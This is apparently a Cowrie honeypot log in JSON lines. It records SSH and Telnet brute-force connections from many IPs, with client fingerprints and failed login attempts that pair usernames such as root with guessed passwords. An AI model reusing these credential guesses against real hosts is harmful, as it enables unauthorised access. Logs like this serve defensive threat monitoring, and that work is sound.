{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:21.637377Z","src_ip":"190.244.39.224","session":"8b9b11b3a6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd$1234","message":"login attempt [root/Abcd$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:22.390749Z","src_ip":"190.244.39.224","session":"8b9b11b3a6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:23.573906Z","src_ip":"190.244.39.224","session":"8b9b11b3a6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":58258,"dst_ip":"10.17.0.5","dst_port":22,"session":"10dcb6873bb9","protocol":"ssh","message":"New connection: 45.143.200.246:58258 (10.17.0.5:22) [session: 10dcb6873bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:24.501726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:24.505661Z","src_ip":"45.143.200.246","session":"10dcb6873bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:24.607902Z","src_ip":"45.143.200.246","session":"10dcb6873bb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZXC123456","message":"login attempt [root/ZXC123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:25.051420Z","src_ip":"45.143.200.246","session":"10dcb6873bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:26.156907Z","src_ip":"45.143.200.246","session":"10dcb6873bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":41994,"dst_ip":"10.17.0.5","dst_port":22,"session":"03181b4662a2","protocol":"ssh","message":"New connection: 129.121.102.3:41994 (10.17.0.5:22) [session: 03181b4662a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:31.247559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:31.252988Z","src_ip":"129.121.102.3","session":"03181b4662a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:31.279427Z","src_ip":"129.121.102.3","session":"03181b4662a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password123","message":"login attempt [guest/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:31.421252Z","src_ip":"129.121.102.3","session":"03181b4662a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:32.451607Z","src_ip":"129.121.102.3","session":"03181b4662a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:41.542260Z","src_ip":"220.205.122.34","session":"c368aa48c488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":59124,"dst_ip":"10.17.0.5","dst_port":22,"session":"074bc61e8116","protocol":"ssh","message":"New connection: 154.116.254.157:59124 (10.17.0.5:22) [session: 074bc61e8116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:44.049728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:44.053955Z","src_ip":"154.116.254.157","session":"074bc61e8116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:44.220315Z","src_ip":"154.116.254.157","session":"074bc61e8116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"666666","message":"login attempt [ftpuser/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:44.917651Z","src_ip":"154.116.254.157","session":"074bc61e8116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":46732,"dst_ip":"10.17.0.5","dst_port":22,"session":"077fde8f54ad","protocol":"ssh","message":"New connection: 147.45.199.80:46732 (10.17.0.5:22) [session: 077fde8f54ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:45.428974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:45.433747Z","src_ip":"147.45.199.80","session":"077fde8f54ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:45.527074Z","src_ip":"147.45.199.80","session":"077fde8f54ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"197611","message":"login attempt [root/197611] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:45.843066Z","src_ip":"147.45.199.80","session":"077fde8f54ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:46.085852Z","src_ip":"154.116.254.157","session":"074bc61e8116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43380,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6d0a4dfbc38","protocol":"telnet","message":"New connection: 170.64.224.25:43380 (159.203.135.109:23) [session: b6d0a4dfbc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:46.228811Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:46.958264Z","src_ip":"147.45.199.80","session":"077fde8f54ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":35468,"dst_ip":"10.17.0.5","dst_port":22,"session":"81699120e089","protocol":"ssh","message":"New connection: 211.106.137.135:35468 (10.17.0.5:22) [session: 81699120e089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:49.044335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:49.065102Z","src_ip":"211.106.137.135","session":"81699120e089","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:49.267894Z","src_ip":"211.106.137.135","session":"81699120e089","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rss123","message":"login attempt [root/rss123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:50.101364Z","src_ip":"211.106.137.135","session":"81699120e089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52818,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fe7fb339131","protocol":"ssh","message":"New connection: 8.210.75.243:52818 (10.17.0.5:22) [session: 3fe7fb339131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:51.029290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:51.269654Z","src_ip":"8.210.75.243","session":"3fe7fb339131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:51.274400Z","src_ip":"8.210.75.243","session":"3fe7fb339131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:51.309578Z","src_ip":"211.106.137.135","session":"81699120e089","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb27c39bc2cc","protocol":"ssh","message":"New connection: 163.7.1.218:47626 (10.17.0.5:22) [session: cb27c39bc2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:56.807611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:56.813078Z","src_ip":"163.7.1.218","session":"cb27c39bc2cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:57.063091Z","src_ip":"163.7.1.218","session":"cb27c39bc2cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"q1w2e3","message":"login attempt [alex/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:58.097907Z","src_ip":"163.7.1.218","session":"cb27c39bc2cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:15:59.351511Z","src_ip":"163.7.1.218","session":"cb27c39bc2cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":1476,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf111e0e899","protocol":"ssh","message":"New connection: 38.93.206.2:1476 (159.203.135.109:22) [session: bdf111e0e899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:14.727008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:14.731807Z","src_ip":"38.93.206.2","session":"bdf111e0e899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:14.783074Z","src_ip":"38.93.206.2","session":"bdf111e0e899","protocol":"ssh"}
